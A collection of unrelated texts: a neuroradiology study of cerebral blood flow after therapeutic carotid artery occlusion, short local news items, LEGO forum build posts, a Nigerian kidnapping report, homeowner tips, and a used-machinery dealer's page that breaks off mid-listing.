text:
BACKGROUND AND PURPOSE: Therapeutic carotid occlusion is an established technique for treatment of large and giant aneurysms of the ICA, in patients with synchronous venous filling on angiography during BTO. Concern remains that hemodynamic alterations after permanent occlusion will predispose the patient to new ischemic injury in the ipsilateral hemisphere. The purpose of this study was to assess whether BTO with synchronous venous filling is associated with normal CBF long term after carotid sacrifice.
MATERIALS AND METHODS: Eleven patients were included (all women; mean age, 50.5 years; mean follow-up, 38.5 months). ASL with single and multiple TIs was used to assess CBF and its temporal characteristics. Selective ASL was used to assess actual territorial contribution of the ICA and BA. Collateral flow via the AcomA or PcomA or both was determined by time-resolved 3D PCMR. Paired t tests were used to compare CBF and timing parameters between hemispheres.
RESULTS: Absolute CBF values were within the normal range. There was no significant CBF difference between hemispheres ipsilateral and contralateral to carotid sacrifice (49.4 ± 11.2 versus 50.1 ± 10.1 mL/100 g/min). Arterial arrival time and trailing edge time were significantly prolonged on the occlusion side (816 ± 119 ms versus 741 ± 103 ms, P = .001; and 1765 ± 179 ms versus 1646 ± 190 ms, P < .001). Two patients had collateral flow through the AcomA only and were found to have increased timing parameters compared with 9 patients with mixed collateral flow through both the AcomA and PcomA.
CONCLUSIONS: In this small study, patients with synchronous venous filling during BTO had normal CBF long term after therapeutic ICA occlusion.
- anterior cerebral artery
- AcomA
- anterior communicating artery
- arterial spinlabeling
- basilar artery
- balloon test occlusion
- cranial nerve
- multiple overlapping thin-slab acquisition
- posterior cerebral artery
- pCASL
- pseudo-continuous ASL
- phase-contrast MR imaging
- PcomA
- posterior communicating artery
- time-of-flight
For large and giant aneurysms of the ICA, therapeutic carotid artery balloon occlusion is a safe and effective therapy in patients tolerating sacrifice of the carotid artery.1,2 Different methods (including positron-emission tomography, single-photon emission CT, xenon-enhanced CT, and BTO with clinical or angiographic evaluation) have been used to identify patients at risk of developing cerebral ischemia after permanent ICA occlusion.3,4 Field et al5 reported that therapeutic ICA occlusion can result in cerebral infarction despite normal clinical BTO results, and they evaluated outcome in patients who underwent clinical BTO combined with quantitative CBF analysis with xenon-enhanced CT. They concluded that this combined method was a reliable technique for identification of patients at risk of ischemic infarction.5
Tolerance to carotid artery occlusion can also be evaluated reliably by angiographic BTO.1 In a large consecutive series, it has been demonstrated that synchronous venous filling during BTO (a <0.5-second delay of opacification between the cortical veins of the occluded side and the contralateral side) has a high positive predictive value (98%) for tolerance to ICA occlusion.2 After tolerance to test occlusion, acute and delayed symptomatic ischemic events have been described occasionally.6,7 Some concern remains that hypoperfusion after permanent carotid artery occlusion will predispose the patient to the formation of new ischemic injury in the ipsilateral hemisphere, resulting in overt or silent infarction.7–9 In the case of silent infarction, focal neurologic symptoms are absent, while ischemic injury is visible on MR imaging. The prevention of these so-called silent infarcts is important because they appear to be associated with neurocognitive decline.10 Thus far, to our knowledge, no literature is available on actual CBF measurements long term after therapeutic occlusion in patients who passed the angiographic BTO.
ASL is a noninvasive MR perfusion imaging technique that uses arterial blood water protons as an endogenous tracer of flow.11 By acquisition and subtraction of images, with and without previous magnetic labeling of arterial blood water protons, perfusion images are obtained that are used for quantitative estimation of CBF. Previous studies have demonstrated that ASL could be of high value to measure perfusion impairment and identify patients at risk for ischemic events.12,13 By acquiring images at increasing delay times after initial labeling, ASL can be used to assess the temporal characteristics of the inflowing arterial blood such as the arrival time (the time from initial labeling until arrival of the labeled bolus in the brain parenchyma) and the trailing edge time (the time between initial labeling and clearance of the labeled bolus from the brain parenchyma).14,15
Bokkers et al16 were the first to use this technique in patients with symptomatic carotid artery occlusion and measured significant differences in CBF and timing parameters between hemispheres ipsilateral and contralateral to the occlusion side. Recently, a similar technique was used by Macintosh et al,17 who found that prolonged arterial arrival times resided in the affected hemisphere of patients with minor stroke or transient ischemic attack, though functional impairment and lesions on diffusion-weighted imaging were limited.
The purpose of the current study was to assess whether BTO with synchronous venous filling is associated with normal CBF long term after therapeutic occlusion of the ICA for large and giant carotid artery aneurysms. Therefore, we used ASL to measure CBF and timing parameters of arterial blood in patients who underwent therapeutic ICA occlusion for large or giant aneurysms and who tolerated the angiographic BTO. Because the risk of late ischemic complications is largely dependent on the adequacy of the collateral circulation, we also measured collateral flow via the circle of Willis.18
Materials and Methods
The local ethics committee approved the study protocol. Between January 2003 and November 2009, 24 consecutive patients were treated with ICA balloon occlusion for carotid aneurysms. Previous to permanent occlusion, patients had undergone test occlusion of the ICA. During test occlusion, angiography of the contralateral ICA or vertebral artery was performed. Synchronous venous filling (a <0.5-second delay of opacification between the cortical veins of the occluded carotid artery and the cortical veins of the territory of the examined artery) was considered a predictor for tolerance of permanent occlusion. If collateral flow was mainly via the AcomA, the venous phase of both cerebral hemispheres had to be synchronous on angiograms of the contralateral carotid artery. If collateral flow was mainly via the PcomA, the venous phase of the tested cerebral hemisphere had to be synchronous with filling of the cerebellar and temporo-occipital cerebral cortical veins on vertebral angiography. In case of mixed collateral flow, opacified blood could be diluted, resulting in diminished attenuation of the opacification of the veins in the vascular territory of the occluded carotid artery. If the veins filled synchronously, however, the patient was considered as having passed the test.2
If test occlusion was tolerated, the carotid artery was definitively occluded by a detachable latex balloon (Goldvalve No. 16, Nycomed, Paris, France; and Goldbal 1 and 2, Balt, Montmorency, France) positioned just proximal to the aneurysmal neck, and a second safety balloon was detached in the proximal ICA. In 4 patients, (additional) coils were used for occlusion. No clinical sequelae after occlusion had been reported.
Of the 24 patients who had been treated, 3 were excluded because age older than 70 years was considered an exclusion criterion. In December 2009, 21 patients younger than 70 years of age (20 women, 1 man) were sent an invitation to participate in a long-term MR imaging follow-up study. Two patients were lost to follow-up, 6 patients did not want to participate, and 13 patients were willing to participate with written informed consent obtained. Two of these 13 patients were claustrophobic and were, therefore, excluded from participation. The remaining 11 patients were all women with a mean age of 50.5 years (range, 32.7–65.1 years). All patients except 2 initially presented with cranial nerve palsy (see the Table for patient characteristics, initial symptoms, and date of occlusion). Two patients presented with acute headache due to SAH, confirmed on unenhanced CT. The mean follow-up period was 38.5 months (median, 29.6 months; range, 14.3–78.3 months).
MR Imaging
MR imaging was performed on a 3T Philips MR imaging system (Philips, Best, the Netherlands) by using a sensitivity encoding 8-channel head coil and body coil transmission. The imaging protocol consisted of the following: axial T2/FLAIR-weighted imaging, high-resolution MOTSA 3D-TOF MRA, ASL with a single TI for estimation of CBF, ASL with multiple TIs for calculation of temporal parameters, selective ASL to visualize the actual territorial contribution of the ICA and the BA, and time-resolved 3D PCMR for grading of collateral flow via the circle of Willis.
For the MOTSA 3D-TOF sequences, imaging parameters were as follows: 3D fast-field echo T1-weighted sequence; TR/TE, 25/4 ms; flip angle, 17°; FOV, 200 × 200 mm2; 512 × 324 matrix (reconstructed to 512 × 512); 1.0-mm-thick sections interpolated to 0.5 mm; and 184 sections acquired in 8 slabs; sensitivity encoding, 2.5.
For ASL with a single TI, pCASL was used with additional background suppression pulses and a 2100-ms postlabeling delay.19–21 Imaging parameters were the following: TR/TE, 4000/14 ms; flip angle, 90°; FOV, 240 × 240 mm2; matrix size, 80 × 79; 17 sections; thickness, 7 mm; no gap; gradient-echo single-shot echo-planar imaging; sensitivity encoding, 2.5; postlabeling delay, 2.1 seconds; number of dynamics, 40. Scan duration was 5 minutes and 20 seconds. For ASL with multiple TIs, we used pulsed ASL with TIs ranging from 100 to 2700 ms and a 300-ms interval.15,22 Imaging parameters were the following: TR/TE, 3000/28 ms; flip angle, 30°; FOV, 240 × 240 mm2; matrix size, 80 × 79; 5 sections; thickness, 7 mm; no gap; gradient-echo single-shot echo-planar imaging; sensitivity encoding, 1.2; number of dynamics, 40; labeling gap between the center of the imaging volume and the labeling slab, 25 mm. For selective ASL, we used vessel-encoded pCASL, in which selective labeling was achieved by spatial manipulation of the labeling efficiency in sets of 5 dynamics (75 dynamics were obtained).23 Further imaging parameters for selective ASL were the same as for nonselective pCASL.
Retrospectively gated spoiled gradient-echo PCMR24 measurement was performed in the circle of Willis at a resolution of 0.5 × 0.5 × 0.5 mm3; 25 axial sections; TE/TR, 3.4/6.8 ms; flip angle, 15°. Velocity-encoding was performed in 3 directions simultaneously by using a 4-point method (100 cm/s in each direction). To avoid motion artifacts, we kept the temporal resolution low (4 cardiac phases), and the total scan duration did not exceed 4 minutes.
Data Analysis
All MR imaging and MRA studies were interpreted by 2 experienced neuroradiologists in consensus (C.B.M. and R.v.d.B.) and were compared with the MR imaging and digital subtraction angiograms at the time of carotid artery occlusion to assess the anatomy of the circle of Willis and the incidence of de novo ischemic lesions.
Functional MR Imaging Software Library (http://www.fmrib.ox.ac.uk) and Matlab (MathWorks, Natick, Massachusetts; http://www.mathworks.com) were used for off-line processing of ASL data. Subtraction of labeled and control ASL images yielded whole-brain perfusion-weighted images. Selective ASL scans were processed according to the methods proposed by Wong and Kansagra.25 Voxels with a similar relative labeling efficiency were identified. Subsequent subtraction of the nonlabeled image and the selectively labeled images rendered 2 flow maps, visualizing the actual territorial contribution of the ICA and the BA.
By 3D affine registration, standard perfusion templates of the ACA, MCA, and PCA were registered to the perfusion-weighted images of individual patients. After segmentation of perfusion-weighted images into flow territories, cerebral perfusion was quantified for all flow territories. Quantification of CBF and arterial timing parameters was performed according to the methods previously described by our study group.12,14,19,22 For quantification of CBF, we used a 2-compartment model, taking the difference between the T1 of arterial blood and the T1 of brain tissue into account.26 CBF between hemispheres and flow territories of individual patients was compared by calculating the percentage of the difference between the 2 hemispheres or flow territories.
GT-Flow (Gyrotools, Zurich, Switzerland) was used to assess flow in semiautomatically defined regions of interest placed in and perpendicular to the different circle of Willis arteries (remaining ICA, BA, A1 segments of both ACAs; M1 segment of both MCAs; and P1 segment of both PCAs). Flow was defined in all regions of interest. On the basis of MRA, flow maps, and flow measurements in the circle of Willis arteries, different types of collateral flow via the circle of Willis were identified. For each collateral flow type, the distribution of arterial blood across the cerebral arteries was calculated as a percentage of total flow in the cerebral arteries.
Differences in CBF and timing parameters were tested for significance by using paired t tests (with P values < .05 regarded as significant; Statistical Package for the Social Sciences, Version 16.02, SPSS, Chicago, Illinois).
Clinical, Angiographic, and Structural MR Imaging Results
Eleven patients were included in this study with a mean follow-up of 38.5 months (range, 14–78 months). Four patients had small ischemic lesions in both hemispheres, which were unchanged compared with the T2/FLAIR at the time of diagnosis. Two other patients, both treated with coil occlusion, had small ischemic lesions in the deep white matter of the ipsilateral hemisphere. These lesions had already been diagnosed directly postprocedure. In 1 of these patients, small ischemic lesions in the deep white matter of the right hemisphere had increased on late follow-up. However, this patient did not have any neurologic symptoms. The Table shows patient characteristics and clinical and angiographic results for all patients.
The 2 patients who were claustrophobic and were eventually excluded from participation did not have any neurologic symptoms after carotid balloon occlusion. Of the 6 patients who did not want to participate, 4 patients completely recovered after carotid balloon occlusion and did not have any neurologic symptoms. Two other patients who did not want to participate had neurologic symptoms. These symptoms were, however, not directly related to balloon occlusion of the carotid artery. In 1 patient, who initially presented with temporal epilepsy caused by a giant aneurysm of the right ICA, symptoms remained after permanent occlusion. MR imaging and angiography revealed an increased size of the aneurysm due to retrograde filling via the right ophthalmic artery and PcomA. Before further treatment of the aneurysm, extra-to-intracranial bypass surgery was performed, which was complicated by hemorrhagic infarction and eventually resulted in paresis of the left arm. The other patient had pre-existing right-sided hemiparesis and aphasia, caused by SAH from a basilar tip aneurysm, with secondary vasospasm and infarction of the left hemisphere. This patient was treated for a giant aneurysm of the right medial cerebral artery by balloon occlusion of the right ICA. On follow-up MR images, no ischemic injury was seen in the right hemisphere.
In 5 patients, CBF in the flow territory of the MCA on the occlusion side was 10% lower than that the contralateral MCA flow territory. No association was observed between lowered CBF in the MCA flow territories and the presence of ischemic lesions. In the group analysis, no significant CBF difference was found between the hemispheres (49.4 ± 11.2 versus 50.1 ± 10.1 mL/100 g/min) and between flow territories of the ACA (56.5 ± 11.5 and 55.0 ± 10.9 mL/100 g/min), MCA (56.8 ± 11.7 and 59.8 ± 10.8 mL/100 g/min), and PCA (55.4 ± 14.3 and 53.1 ± 12.4 mL/100 g/min) ipsilateral and contralateral to the occlusion (Fig 1A).
Timing Parameters
The arterial arrival and trailing edge time were significantly prolonged in the hemisphere ipsilateral to carotid artery occlusion (816 ± 119 ms versus 741 ± 103 ms, P = .001; and 1765 ± 179 ms versus 1646 ± 190 ms, P < .001; Fig 1B). Arterial arrival and clearance of the labeled bolus were delayed in the hemisphere ipsilateral to the occlusion (Fig 2).
Collateral Flow
On the basis of MRA, time-resolved PCMR, and selective ASL, 2 different patterns of collateral supply could be distinguished in our population (Fig 3). In 2 patients, an anterior collateral flow pattern through the AcomA only could be observed (Fig 3A). In 9 patients, a mixed collateral flow pattern through the PcomA ipsilateral to the occlusion and AcomA was seen (Fig 3B). The mixed collateral flow pattern was further subdivided in a mixed pattern with (n = 5) and without (n = 4) a patent contralateral PcomA. None of the patients had a posterior collateral flow pattern (collateral flow through the ipsilateral PcomA only).
In patients with anterior collateral flow, flow through the cerebral arteries on the occlusion side was equally distributed across the ACA, MCA, and PCA (13%, 14%, and 16%, Fig 4). In patients with mixed collateral flow (AcomA, ipsilateral PcomA), flow through the cerebral arteries on the occlusion side was mainly via the MCA (20% with and 23% without a functioning PcomA contralateral to the occlusion) with considerably less flow via the ACA and PCA (Fig 4).
Patients with anterior collateral flow had prolonged timing parameters in the hemisphere on the occlusion side compared with patients with mixed collateral flow of both subtypes (Fig 5). In patients with mixed patterns, the presence of an ipsilateral PcomA and absence of a contralateral PcomA resulted in the shortest timing parameters.
In this study, we quantitatively evaluated cerebral perfusion long term after therapeutic carotid artery occlusion for large and giant carotid aneurysms in patients with synchronous venous filling during BTO. To our knowledge, this is the first long-term CBF follow-up study after therapeutic carotid artery occlusion. The results of this study show that CBF values are within the normal range without a significant difference in absolute CBF between the hemispheres ipsilateral and contralateral to ICA occlusion.27,28 Also, no significant CBF difference could be observed between the flow territories of the ACA, MCA, and PCA of both hemispheres in the group analysis. The finding that there was no significant CBF difference between the hemispheres ipsilateral and contralateral to carotid occlusion is in concordance with expectations based on test occlusion and clinical outcome of patients after permanent carotid occlusion.2,6,7
Arterial timing parameters were, however, significantly prolonged on the occlusion side. The fact that arterial arrival is delayed (75 ms on average) is not surprising because the labeled blood has to pass an elongated distance over the circle of Willis collateral system before reaching the brain tissue. A prolonged trailing edge time in the ipsilateral hemisphere could be due to a larger temporal spread of the diverted inflowing bolus and also to the presence of compensatory vasodilation resulting in increased cerebral blood volume and longer arterial transit times.
Flow measured in the circle of Willis arteries, combined with selective ASL flow maps of the remaining ICA and the BA, clearly illustrated the collateral flow pattern via the circle of Willis in all patients. Depending on the collateral pathway via the circle of Willis, timing parameters on the occlusion side were more or less affected. Timing parameters were increased in patients with anterior collateral flow compared with patients with mixed collateral flow, due to an elongated pathway via the AcomA. In patients with mixed collateral flow and an absent PcomA contralateral to occlusion, a relatively large amount of flow was via the MCA on the occlusion side. These patients had the shortest arterial timing parameters on the occlusion side. In our population, the absence of the contralateral PcomA thus seems to be in favor of hemodynamics that compensate for ICA occlusion. Future studies in larger patient populations should be undertaken to evaluate the influence of an absent or hypoplastic PcomA contralateral to the ICA occlusion.
Our findings are in clear contrast to the observation of the severely disturbed hemodynamics in patients with symptomatic ICA occlusion. Bokkers et al16,29 and Hendrikse et al30 used pulsed ASL with multiple acquisition times in patients with symptomatic ICA stenosis or occlusion. They found significant CBF reductions and increased timing parameters in the hemisphere ipsilateral to the stenosis or occlusion compared with the contralateral hemisphere and compared with data from healthy controls. Bokkers et al16 reported trailing edge times of 2225 ± 167 ms in the frontal-parietal region of the hemisphere ipsilateral to ICA occlusion compared with 1593 ± 35 ms in healthy controls. In our population, trailing edge times were 1765 ± 179 ms in the hemisphere ipsilateral to the therapeutic occlusion and 1646 ± 190 ms in the contralateral hemisphere.
Most probably, this difference is due to the inclusion of symptomatic patients in the study of Bokkers et al,16 whereas in our study, patients had angiographic BTO with synchronous venous filling preceding therapeutic ICA occlusion. Each study corresponds, therefore, to a different side of the spectrum of (atherosclerotic) disease severity. Most important, this study shows that the presence of an occluded ICA in itself does not result in an impaired hemodynamic status of the brain. The observed hypoperfusion in patients with symptomatic carotid occlusion might be due to poor collateral supply in these subjects or to the presence of atherosclerotic disease in the peripheral cerebral vasculature. Only patients having sufficient collateral supply, as indicated by synchronous opacification of cortical veins during test occlusion, were treated by permanent occlusion.2 In our population, the arterial arrival time in the hemispheres ipsilateral and contralateral to occlusion differed by 75 ms on average, while the difference in trailing edge time was 119 ms. Although arterial timing parameters cannot be directly compared with the venous measures used in test balloon occlusion, they clearly are within the 0.5-second timeframe that is used as a cutoff for synchronous opacification of cortical veins during test occlusion.
In addition to the previous work by Bokkers et al,16,29 Hendrikse et al,30 and Macintosh et al,17 this study demonstrates the feasibility of ASL with multiple TIs to measure perfusion and its temporal characteristics. Whereas previous studies included symptomatic patient populations, this study was the first to assess cerebral perfusion and its temporal characteristics in an asymptomatic patient population in whom increased delay time particularly is a reflection of the elongated route via collateral pathways.
Some limitations should be mentioned. First, we estimated CBF on the basis of an ASL sequence with a single TI because this sequence allows a larger imaging volume, identical to the imaging volume of selective ASL. Although the latter could introduce the risk of underestimation of CBF in the ipsilateral hemisphere due to delayed arrival of collateral flow, this was probably not the case in this study because data were acquired at a relatively long delay time of 2100 ms. Second, due to the low incidence of giant aneurysms (representing only 3%–5% of all intracranial aneurysms9,31), the population included in this study was limited. Also, only female patients were included in this study, attributable to the fact that there is a female predominance in the occurrence of intracranial aneurysms.31 Although the current study population is homogeneous and the number of patients is too small to draw definitive conclusions, the results of this study do strengthen the hypothesis that in patients tolerating BTO, cerebral perfusion endures long term after therapeutic occlusion of the ICA.
In this study, we assessed CBF and timing parameters of inflowing arterial blood long term after therapeutic artery occlusion for large and giant aneurysms in patients who tolerated BTO. Although the arterial arrival and trailing edge times were prolonged in the hemisphere ipsilateral to occlusion, eventually CBF was not significantly affected. Our results, therefore, suggest that synchronous venous filling during angiographic BTO is associated with sustained CBF on the long term.
Disclosures: Matthias van Osch—UNRELATED: Payment for Lectures, Including Service on Speakers Bureaus: Philips Healthcare.
- Received April 13, 2011.
- Accepted after revision June 8, 2011.
- © 2012 by American Journal of Neuroradiology


text:
University of Virginia student Otto Warmbier, who was detained in North Korea for 17 months and was released to the U.S. in a coma last week, has died. Warmbier's parents and President Donald Trump blamed the North Korea regime for the 22-year-old's death.
(The Washington Post)
Fairfax County police say they don't believe the murder of a 17-year-old Muslim girl in Sterling was a hate crime but rather stemmed from "road rage."
(The Washington Post)
The Metro's final SafeTrack maintenance surge, addressing Red Line tracks in Maryland, began this weekend and will end Sunday. However, Metro officials say there is still work to be done that could close portions of the Yellow, Green and Red lines in August.
(The Washington Post)
The Supreme Court ruled against a law that prohibits offensive trademarks. The ruling marked a win for the Asian-American rock band the Slants but could also help the Washington Redskins maintain their name.
(ABC 7 News)
At a Woodbridge-Potomac Communities Civic Association meeting, the owner of the Potomac Nationals said if the minor-league baseball team's new stadium wasn't approved by July, the team would look for other locations.
(What's Up Woodbridge)

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Showing results for tags 'style'.
Found 7 results
How your building style has changed
jorgeopesi posted a topic in LEGO Technic, Mindstorms, Model Team and Scale Modeling
Just curiosity to know how we evolved. I started like everyone else, leaving the realism aside and piling pieces until the unwanted MOC . Later I tried to be more realistic in proportions, even too much, using the unnecessary amount of pieces and more . Now I can say that a stud more or less does not matter to me if the MOC is consistent and that 20 more pieces do not matter if the construction is more modular. My aesthetics are becoming more minimalist as the previous Technic, it's funny because I build thinking to make it easy for others to do and I still do not do instructions . What I can say that has remained constant is the search for functionality and maximum playability but never in exchange for fragility. -
1920's classical -style Capitol Bank with armored money transfer truck - 41134 / 75972 / 10217 MODs
Murdoch17 posted a topic in LEGO Town
This model is revamped version of set 41134 (Heartlake Performance School) with parts of set 10217 (Diagon Alley) and a heavily modified version of the truck from set 75972 (Dorado Showdown) thrown together to make this classical styled bank. The time-frame is set in the mid to late Roaring Twenties, when gangsters like Al Capone ruled Chicago's speakeasies and bank robbers such as Bonnie & Clyde ran rampant across the USA. (Of course, the law was always at their heels, and eventually justice was served.) This is the fourth version, which is set to replace my Gringotts bank model, which has become a sore spot on my layout as it's just too small. As before, this bank features a fancy entrance with Greek columns going up and creating a balcony on the second and third floors. The model features a detailed interior, and is open-able like a dollhouse to provide access to the inside. Also, the black 1 x 4 brick above the front door should have this BANK print on it. The rear of the bank has a second story fireplace flue. The model is open-able like a dollhouse to provide access to the inside, as you can see by the hinges on this side. Inside the front half and on the lower floor, we have two tellers desk with spots for four customers total. The upper floor features counting desks, along with half of the the money-filled vault. The lower floor on the back half features a staircase to the upper floor, a controlled access point to the behind-the-scenes part of the bank and the bank managers desk. The upper floor features the other half of the vault with the rest of the $14,800 in hundred dollar bills. (I transferred all the green bricks into 1x2 plates, then times by 100 to get that number.) This model was partially inspired by 2019 Overwatch set 75972 (Dorado Shwodown) which I reverse engineered from a picture last week into the front half of the truck seen here. The rear of the truck. The rear double-doors open to stash valuables, the roof section comes off, and the driving compartment seats one mini-figure. Thank you for looking at these models. Any comments, be they helpful, quizzical, or critical are welcome at any time. Thanks again for reading! -
Shay geared steam locomotive and silver ore mining train - MOD of a MOC
Murdoch17 posted a topic in LEGO Train Tech
This type of geared type loco is called a "Shay" (specifically a type "A", which means two pistons and two trucks) and were named after their original inventor of the type, Ephraim Shay. These loco's could only go about 20 miles per hour (or about 32 Kilometers per hour, if that's your thing) at top speed, and were very steady on rough track, hauling logging and mining trains up grades that would easily stall conventional steamer types. You can read more about Shay geared steam locomotive's at Wikipedia. Please NOTE: The design of the original Shay I redid into my version was by Stephan Pakbaz over on Flickr, as seen below. (His LDD file allowed me to build my version) as seen here. The 1 x 1 tiles on either side of the coal bunker are supposed to be printed with the number "4" The Shay type only has pistons on one side, with the other side being kinda sparsely decorated. Usually, their would be various accessories and such on this side, but i liked it better devoid of any clutter. The Shay geared steam loco bends in a odd way... but at least it works. NOTE: The angle shown is quite a bit more severe curve than the loco will ever have to handle.... but it looks pretty cool! This raw ore car was modeled after a custom Brick Link item by @wildchicken13 except mine is narrower and uses two wheels for a Wild West flair. You can see the original item that inspired me here. The caboose follows my standard pattern for my Western trains, with only a few color swaps and a missing cupola on top to set it apart from the others. Here we see the mining train consisting of four silver ore cars and a caboose, without the Shay. This is my latest (and most likely last) Western styled train, and it will join my other four steamers and their trains in my Wild West collection sometime later in 2018. (The reason I say "last" is that I've run out of railroad-related ideas for my Wild Western layout and am planning on focusing on the updated Native American camp, revised Fort Legoredo and the remaining frontier town buildings after this.) As you may have suspected, the ore the mining train holds comes from my well-protected silver mine, which can be seen in it's own topic. ...and as usual, comments, questions, complaints and suggestions are always welcome! -
Hennessey Venom GT Spyder
Lox Lego posted a topic in LEGO Technic, Mindstorms, Model Team and Scale Modeling
I am pleased to announce my most challenging and rewarding build, the American supercar, the Hennessey Venom GT. Flickr photos: https://flic.kr/s/aHskNRp6jE MOC-Pages: http://www.mocpages.com/home.php/125898 IMG_1242 by lachlan cameron, on Flickr This build has a V8 twin turbo engine, a motorized rear wing, working steering wheel, 6x lights and a 8 inch GPS built into the center console. IMG_1089 by lachlan cameron, on Flickr This car has quite a few new ideas and build styles that I will definitely be pursuing in the future. IMG_1257 by lachlan cameron, on Flickr When I got stuck designing the front of the car, Dugald designed one of the front wheel wells. [thanks Bro!] IMG_1270 by lachlan cameron, on Flickr This car took about 2 months and has the most detail I have ever put into a car. So grab a cup of coffee, get comfy and enjoy the video! IMG_1274 by lachlan cameron, on Flickr Twin turbo and interior ;) IMG_1210 by lachlan cameron, on Flickr My new car in the driveway. Wish it were real.... IMG_1111 by lachlan cameron, on Flickr I am a much bigger fan of the Hennessey after researching the car for this build. The curves on this beast were incredibly hard to replicate, and now I know why not many others have tried it before in Technic Lego... IMG_1252 by lachlan cameron, on Flickr These Porsche wheels spread the weight of the car over the width of the tire and support this car SO much better than the old tires. Twin turbo with 1451 horse power IMG_1183 by lachlan cameron, on Flickr This supercar weighs 6.5 pounds or 2.95 kq, is 74 studs long X 19 tall x 29 in the front, 31 in the rear wide. IMG_1198 IMG_1192 by lachlan cameron, on Flickr Frameworx by lachlan cameron, on Flickr -
Hello fellow City friends, I've just finished a Volkswagen T3 camping edition "Westfalia", "Caravelle CL" and a standard. The scale used is 1/42 and regarded by myself as minifig/city scale, for it uses 1,70m for a minifig being 5 vertical studs high (including head pin). It frankly wont fit any minifigs properly, since its 5,6 studs wide (1,80m) and i needed a lot of interiour structure for the roof and windows to stay in place In some renders i used non-transparts windows to give better contrast (bluerender aint good with trans! ). Critique and feedback always welcome, feel free to enjoy the pics Cheers, Ron. New lands.... by Ron Dayes, auf Flickr T3 Westfalia side view by Ron Dayes, auf Flickr T3 Westfalia back view by Ron Dayes, auf Flickr T3 Standard by Ron Dayes, auf Flickr T3 Caravelle Cl by Ron Dayes, auf Flickr
I was inspired by a Facebook post to the Modular LEGO Buildings group by a person named Kade Rodgers to create this railway station. Here is the original version that comes from 2011 and was later demolished: This model was inspired by set 10199, Winter Village toy Shop. The building is open backed, and features a desk on the top floor and ticket counter with cash register on the first floor. ...and here is the newer version the above model was turned into. This newer model is modular, and as such has five removable sections that combine into one medium size station. Here you can see the track side of the station which has plenty of seats (16 chairs, to be precise) for waiting passengers to sit on. Here you can see the street side, where the public enters the station from the parking lot or can directly access the platform via the ramp. You can also see the stairs to the upper floor which is where the station master's office is. This is the inside of the station, with two ticket machines and six seats for the indoor passenger waiting area. The coal burning fireplace is still used on really cold winter nights, but since the last few winters have been mild in Ironwood, it hasn't been used in a good long while. Here is the old station master's office on the upper floor, which is off limits the the public. In more recent years it has been made to function as the employee break room / switch control tower for the tracks in the immediate vicinity of the station. The entire model is made up of five sections that come apart. They are as follows: first floor, second floor, second floor roof, left platform and right platform. Sadly, their is no LDD file available for thew new station. However, comments, questions & complaints are always welcome! (EDIT 7/13/16: After hearing some good suggestions about adding a ramp back onto one of my railroad stations, I have finally finished finding the parts for it and gotten some pictures taken of the updated model. Enjoy!)
I finally managed to complete this amazing project, which is to build my own studio. Behold, this is not just another modular building exercise. As an architect (not a LEGO architect but real architect, haha), I want to put what I learnt in school and work to the brick city. I went through the typical architectural process, from sketching to form study to actual building it, and it was fun! The idea comes from the basic LEGO bricks. If we can use the bricks for form study in architectural model, what if it grows and becomes the building? Also, during brick building, we actually just do two basic operations: addition and subtraction. Through these operations, spaces and voids are formed and make openings and skylights. This is what this studio is presenting. The new studio is not just a landmark in the city, but a milestone. It does not just create a building for functions and sit in the brick city, but it sets a new path and inject design culture into the town. Now let's take a look at the contemporary architecture style! (here I use the typical architectural presentation style, please enjoy!) I hope all of you enjoy this architectural project! Thanks! EDITED: My LEGO studio is finally up on LEGO Ideas, and please help and vote for it. Once it has 10000 votes, it will be assessed by LEGO to see if it can be a real product. Support me now, thanks!!! https://ideas.lego.com/projects/67217
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Unknown gunmen along the new Ado Ekiti–Iyin Ekiti Road under construction on Friday killed a policeman, kidnapped a Chinese expatriate, and shot another person.
Sources said the abducted victim and the one with gunshot injury were part of the team of Chinese expatriates working on the road construction awarded by Ekiti State Governor, Dr Kayode Fayemi, to a Chinese company.
Police Public Relations Officer for Ekiti Command, Sunday Abutu, who confirmed the incident, said, "It is confirmed that a kidnapping incident occurred today (Friday) about 4:30 pm along new Iyin Road, where one civilian was kidnapped, one injured while one policeman was shot dead".
Abutu said operatives of the Ekiti State Police Command "are already combing the bush for possible apprehension of the perpetrators.
"The Ekiti State Commissioner of Police, Tunde Mobayo, enjoins everyone to be calm and avoid any form of apprehension as the Command will do everything possible to rescue the victim and arrest the culprits," the PPRO said.


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Being a homeowner can be richly rewarding; providing security and a place to create memories.
Homeownership also comes with its share of headaches or features that we come to loathe. Here are five good resolutions for all homeowners to consider -- even if you already have your dream home.
1 Catch up on home maintenance projects
Deferring home projects can cost you even more in the long run if you keep putting them off. Catch up on our home maintenance projects by this summer, its a smart resolution as every dollar in deferred maintenance can end up costing four times as much in future repairs.
2 Remove the features that you loathe.
Unless you live in your dream home, there are likely some pain points that drive you crazy such as the loose and squeaking faucets or pink bathroom countertops. Be resolved to get the house to your liking by year-end. Fixing an eyesore or addressing a layout or functionality, can help make your home feel more comfortable.
3 Add features to make your home more enjoyable.
It's often a better option to make improvements to your existing home instead of buying a new one since moving is expensive and stressful. Adding features so that you love your current home can make it more valuable, as well. It also makes it less likely that you'll put yourself through the hassle and expense of listing it to buy a new one.
4 Increase your home equity.
Mortgage rates are at an all time low; Try increase your monthly mortgage payment amounts. The little bit of extra equity builds a cushion of additional security and adds up over a five year period. Reducing your interest costs by paying down your mortgage faster.
5 Make your home more energy efficient
With climate change concerns rising, homeowners should see what they can do to become more energy efficient in the coming year. There are several ways to cut down on this expense, such as adding a programmable thermostat, installing energy-efficient windows, and replacing light bulbs with LEDs. But there are lots of ways to make some smaller investments to save more money such as re-caulking around the windows and adding more insulation.
Still unsure about where to start? askJanine


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Assessment and Sale of Used Assets world wide
Metal Working the act or process of shaping things out of metal. Machining traditionally takes place on lathes, drill presses, and milling machines with the use of various cutting tools.
Plastics Processing is the method to convert plastics materials in the form of pellets, granules, powders, sheets, fluids, or preforms into formed shapes or parts.
Printing Machine is a device for reproducing text and images using a master form or template.
Used Food and Beverage Machinery are used for Production of affordable Food and Drinks products for daily use.
Plant Utility resources are the basic machines & equipment of a production factory. This starts with forklift and stops with compressors, heaters, transformers, refrigeration and air conditioning.
A Woodworking machine is a machine that is intended to process wood. These machines are usually powered by electric motors and are used extensively in woodworking.
Benefit from our many years of experience with used machines sales. Asset-Trade is involved in international projects and works with partners world wide.
We are looking forward to receiving your message.
Asset-Trade - Assessment and Sale of Used Assets world wide Am Sonnenhof 16, D-47800 Krefeld, Germany Tel.: +49 2151 32 500 33 | Fax.: +49 2151 65 29 22
Machining Centers, Milling & Turning Machines, Lathes from Brands like:
